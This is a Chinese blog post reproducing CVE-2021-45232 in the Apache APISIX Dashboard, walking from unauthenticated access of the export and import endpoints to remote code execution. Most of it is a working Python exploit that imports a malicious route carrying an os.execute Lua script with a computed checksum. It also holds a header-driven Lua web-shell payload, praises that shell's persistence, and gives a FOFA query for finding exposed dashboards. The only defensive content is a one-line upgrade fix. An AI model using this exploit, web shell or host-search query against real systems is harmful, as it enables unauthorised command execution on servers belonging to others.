CVE-2021-45232 Apache APISIX 從未授權訪問到RCE

Erichas發表於2022-01-05

00x1漏洞環境

Apache APISIX Dashboard 2.7 - 2.10 版本受到影響

通過git拉取在docker搭建環境

git clone https://github.com/apache/apisix-docker

 

注意這裡需要把yml檔案改成2.7版本

 

 

 然後用docker搭建就可以了

 

 

00x2 攻擊過程

 

環境跑起來後成功訪問到9000登入介面

 

 

 

這裡的未授權訪問指的是對下面兩個介面沒有鑑權處理

/apisix/admin/migrate/export  
/apisix/admin/migrate/import 

 

用burp抓個包,訪問export介面,可以看到返回了路由資訊

 

 

 

 

這裡不光光能返回路由的配置資訊,還能import匯入路由配置,

首先它的返回路由資訊是一個Json,(因為這裡的路由配置的script部分是我在復現的時候import的payload)

 

 

 

 

 

我們可以在官方文件裡看到這些屬性的作用

官方文件

 

 

 

 

 

如果我們在後臺直接新增帶有payload的路由配置,看看它會不會執行命令

 

 

 

直接訪問建立的介面emlknW,這裡需要訪問管理埠9080,不是9000

 

 

 

可以看到成功掛載了 852檔案,命令執行成功

 

 

 

那麼要如何通過訪問import介面來給他匯入配置呢?

 

00x3 漏洞分析

 

通過參考網上別人的分析,因為是go語言 沒學過就不多分析了

後端程式碼就是未對兩個介面訪問做鑑權,然後我們可以通過export得到的路由配置

自己構造一個惡意的路由配置,這裡命令執行在script屬性裡面,然後通過構造好的配置import到裡面去。

看程式碼分析知道可以有修改或者新建路由配置來完成。

 

 

關鍵的一點這裡傳入的配置需要計算檔案的checksum

簡答瞭解一下:

checksum(校驗和)是DEX位於檔案頭部的一個資訊,用來判斷DEX檔案是否損壞或者被篡改,它位於頭部的0x08偏移地址處,佔用4個位元組,採用小端序儲存。

 

這裡給出朋友改的程式碼:

import random, string, json, zlib, requests

"""
"script": "local file = io.popen(ngx.re.get_headers()['cmd'],'r') \n local output = file:read('*all') \n
file:close() \n ngx.say(output)q",
我的理解是 這是通過lua語言寫的通過請求頭帶上的cmd: rce,來替換'cmd'部分來執行命令
"""

eval_config = {
    "Counsumers": [],
    "Routes": [
        {
            "id": str(random.randint(100000000000000000, 1000000000000000000)),
            "create_time": 1640674554,
            "update_time": 1640677637,
            "uris": [
                "/rce"
            ],
            "name": "rce",
            "methods": [
                "GET",
                "POST",
                "PUT",
                "DELETE",
                "PATCH",
                "HEAD",
                "OPTIONS",
                "CONNECT",
                "TRACE"
            ],
            "script": "os.execute('touch /tmp/mytest')",
            "status": 1
        }
    ],
    "Services": [],
    "SSLs": [],
    "Upstreams": [],
    "Scripts": [],
    "GlobalPlugins": [],
    "PluginConfigs": []
}


# 將資料進行checksum
def calc_crc(data):
    crc32 = zlib.crc32(data) & 0xffffffff
    return crc32.to_bytes(4, byteorder="big")


def import_apix(url, data):
    data = json.dumps(data).encode()  # 將資料進行轉換為json儲存到檔案中,後面需要以檔案上傳
    checksum = calc_crc(data)  # 進行checksum ,然後新增到資料後面

    files = {"file": ("data", data + checksum, "text/data")}
    resp = requests.post(url + "/apisix/admin/migrate/import", files=files, proxies=proxies, verify=False)
    # proxies=proxies 這裡是通過post去發包,走代理proxies
    if resp.json().get("code", -1) == 0:
        return True
    else:
        return False


"""
這裡定義的proxies為本地代理,這樣執行時候就能用burp抓包了
"""
proxies = {
    "http": "http://127.0.0.1:8080",
    "https": "https://127.0.0.1:8080"
}


# 生成一個隨機路徑
def random_str():
    return ''.join(random.choices(string.ascii_letters + string.digits, k=6))


if __name__ == '__main__':

    uri = random_str()
    print(uri)
    eval_config["Routes"][0]["uris"] = ["/" + uri]
    eval_config["Routes"][0]["name"] = uri
    print(eval_config, end='\n')
    if import_apix('http://192.168.255.128:9000', eval_config):
        print("attack success")
        print("uri is: " + "/" + uri)
    else:
        print("attack error")

 

我們執行抓包看看,後面這個應該就是+上的checksum了,可以看到成功匯入了配置

 

 

我們在py裡輸出了隨機生成的命名uri

 

 

 

 

直接去訪問該API

 

 

 

 

回到環境看看,成功RCE了

 

 

 

 

在github上有大佬寫的是帶回顯的可以執行多次命令的介面配置,可以看看

https://github.com/wuppp/cve-2021-45232-exp#readme

 

程式碼關鍵就是

 "script": "local file = io.popen(ngx.req.get_headers()['cmd'],'r') \n local output = file:read('*all') \n file:close() \n ngx.say(output)",
           

我的理解是 這是通過lua語言寫的通過讀取請求頭帶上的cmd: rce,來替換'cmd'部分來執行命令

 

所以import這種配置成功後,就可以這樣執行命令了

 

 

 

 

 

 不得不說這更加有永續性 evil~

 

在fofa裡面可以這樣來搜尋,使用該元件的主機

title="Apache APISIX Dashboard"

 

00x4 修復方案

更新到最新版本,新版本代理做了鑑權處理

 

參考:

https://www.cnblogs.com/xiaozhi789/articles/15763472.html

 

相關文章